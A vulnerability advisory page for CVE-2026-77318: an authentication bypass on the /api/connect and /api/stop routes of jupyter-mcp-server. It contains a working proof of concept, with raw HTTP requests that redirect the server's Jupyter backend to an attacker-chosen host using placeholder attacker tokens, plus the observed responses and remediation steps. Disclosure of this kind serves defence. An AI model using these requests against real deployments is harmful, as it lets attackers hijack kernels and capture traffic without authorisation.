CVE Watchtower

CVE-2026-77318jupyter-mcp-server Missing Authentication for Critical Function

NVD

Vulnerability Summary

Standalone `streamable-http` mode in `datalayer/jupyter-mcp-server` requires `MCP_TOKEN` for `/mcp`, but the custom management routes mounted on the same application do not enforce that token. An unauthenticated network caller can invoke `PUT /api/connect`, choose the Jupyter backend URL and token fields, reset the server context, and make the MCP server start a kernel client against attacker-controlled infrastructure. The same missing authentication affects the state-changing `DELETE /api/stop` route.

The intended authentication boundary is documented in the security guide and enforced during startup:

```text
docs/docs/reference/security/index.mdx:15
All MCP endpoints require Bearer token authentication.

docs/docs/reference/security/index.mdx:25
Starting with version 1.0.0, MCP client authentication is required for the streamable-http transport.
```

The CLI enforces that boundary for the MCP endpoint:

```python
# jupyter_mcp_server/CLI.py:203-209
if transport == "streamable-http" and not mcp_token and not insecure_mcp_noauth:
raise click.UsageError(
"streamable-http transport requires MCP client authentication. "
"Set --mcp-token / MCP_TOKEN, or pass --insecure-mcp-noauth to "
"explicitly allow unauthenticated access."
)
```

```python
# jupyter_mcp_server/CLI.py:285-290
if transport == "streamable-http":
if mcp_token:
from jupyter_mcp_server.server import RuntimeTokenVerifier
mcp._token_verifier = RuntimeTokenVerifier(mcp_token)
logger.info("MCP endpoint token authentication enabled (using MCP_TOKEN)")
```

The vulnerable route is `jupyter_mcp_server/server.py:143-187`:

```python
@mcp.custom_route("/api/connect", ["PUT"])
async def connect(request: Request):
data = await request.json()

document_runtime = DocumentRuntime(**data)

set_config(
provider=document_runtime.provider,
runtime_url=document_runtime.runtime_url,
runtime_id=document_runtime.runtime_id,
runtime_token=document_runtime.runtime_token,
document_url=document_runtime.document_url,
document_id=document_runtime.document_id,
document_token=document_runtime.document_token,
allowed_jupyter_tools=document_runtime.allowed_jupyter_tools or "notebook_run-all-cells,notebook_get-selected-cell"
)

ServerContext.reset()

try:
__start_kernel()
return JSONResponse({"success": True})
```

`/api/stop` is also unauthenticated and state-changing:

```python
# jupyter_mcp_server/server.py:190-199
@mcp.custom_route("/api/stop", ["DELETE"])
async def stop(request: Request):
try:
current_notebook = notebook_manager.get_current_notebook() or "default"
if current_notebook in notebook_manager:
notebook_manager.remove_notebook(current_notebook)
return JSONResponse({"success": True})
```

## Proof of concept

Run the affected version:

```bash
git clone https://github.com/datalayer/jupyter-mcp-server
cd jupyter-mcp-server
git checkout 27b91e551d8bbca2da32c334f9f13267290ff815
python3.12 -m venv .venv
. .venv/bin/activate
python -m pip install -e .
MCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server \
--transport streamable-http \
--start-new-runtime false \
--jupyterlab false \
--mcp-token SCAN_MCP_TOKEN \
--port 8083
```

Send a request to the protected MCP endpoint without credentials:

```http
POST /mcp HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
Accept: application/json, text/event-stream

{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}
```

Observed response:

```http
HTTP/1.1 401 Unauthorized
www-authenticate: Bearer error="invalid_token", error_description="Authentication required"
```

Now send the unauthenticated management request:

```http
PUT /api/connect HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json

{
"provider": "jupyter",
"runtime_url": "http://127.0.0.1:9183",
"runtime_id": "",
"runtime_token": "ATTACKER_TOKEN_DIRECT",
"document_url": "http://127.0.0.1:9183",
"document_id": "demo.ipynb",
"document_token": "ATTACKER_TOKEN_DIRECT"
}
```

Observed response:

```http
HTTP/1.1 200 OK
content-type: application/json

{"success":true}
```

The server log shows that `/api/connect` accepted the attacker-chosen backend:

```text
Connect endpoint received - runtime_url: 'http://127.0.0.1:9183',
document_url: 'http://127.0.0.1:9183', provider: jupyter
Starting the kernel client...
Default notebook kernel started successfully
```

When an attacker-controlled backend is listening on `127.0.0.1:9183`, it receives Jupyter API traffic from the MCP server:

```text
POST /api/kernels
Authorization: Bearer ATTACKER_TOKEN_DIRECT

GET /api/kernels/fake-kernel/channels?...token=ATTACKER_TOKEN_DIRECT
```

## Impact

An attacker does not need the `MCP_TOKEN` to mutate the standalone MCP server's active backend connection. The attacker can stop the current notebook kernel through `/api/stop`, replace the configured `runtime_url` and `document_url` through `/api/connect`, and cause the MCP server to initiate Jupyter API and WebSocket traffic to attacker-controlled infrastructure.

For a same-network attacker, this is a direct unauthenticated state change against the HTTP listener. This defeats the documented standalone HTTP security boundary because the protected `/mcp` endpoint rejects missing credentials while adjacent management routes perform sensitive state changes without the same control.

## Why this is a vulnerability, not intended behavior

- This is not the explicit `--insecure-mcp-noauth` mode. The proof runs with `MCP_TOKEN` configured, and `/mcp` correctly returns `401 Unauthorized` without it.
- This is not a trusted MCP-client operation. The vulnerable path is a custom HTTP route outside normal JSON-RPC tool dispatch.
- This is not only a broad-bind issue. The default `0.0.0.0` bind increases exposure, but the boundary failure is that state-changing custom routes bypass the token control applied to `/mcp`.

## Remediation

Apply the same inbound authentication policy to every route mounted on the standalone HTTP app:

1. Require the `MCP_TOKEN` bearer token on `/api/connect`, `/api/stop`, `/api/healthz`, and any future custom route that reads or changes server state.
2. Bind standalone HTTP to `127.0.0.1` by default, and require an explicit host allowlist for non-loopback listeners.
3. Add regression tests proving that `/api/connect` and `/api/stop` reject missing bearer tokens and invalid bearer tokens.
Severity Level
HIGH(7.3)
Published Date
Nov 19, 2026
Last Modified
Nov 20, 2026
Exploitation Status
Public exploit available
CVE Record Status
Published
Root Weakness (CWE)
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
CVSS v4.0 Base Metrics — Score 7.3
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:H/VA:L/SC:H/SI:H/SA:L
Attack VectorNetwork
Attack ComplexityLow
Attack RequirementsPresent
Privileges RequiredNone
User InteractionPassive
Confidentiality (Vulnerable System)Low
Integrity (Vulnerable System)High
Availability (Vulnerable System)Low
Confidentiality (Subsequent System)High
Integrity (Subsequent System)High
Availability (Subsequent System)Low

Affected & Patched Versions

Affected Versions
  • jupyter-mcp-server <= 1.0.2
Patched Versions
No patched version published yet
Until a fix ships, reduce exposure:
  • Restrict access to the affected service or interface to trusted networks.
  • Disable the affected feature if you do not need it.
  • Watch the vendor advisory for a firmware or software update.

What to do

Prioritize this fix. Exploit code is public, so attacks can follow quickly.

  1. Check whether you run jupyter-mcp-server and which version.
  2. No patched version is listed yet. Limit access to the affected service to trusted networks, and disable the feature if you can.
  3. Subscribe to the vendor advisory so you learn when a fix ships.
  4. Review logs and exposed services for signs of earlier compromise.

Timeline

  • Nov 19, 2026Published
  • Nov 20, 2026Record last modified

Score, severity and exploitation changes are tracked from the day Watchtower started logging them.

Get notified about new jupyter-mcp-server CVEsYou are reading CVE-2026-77318. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alerts

More jupyter-mcp-server CVEs

Data last checked: Nov 20, 2026 02:00 UTC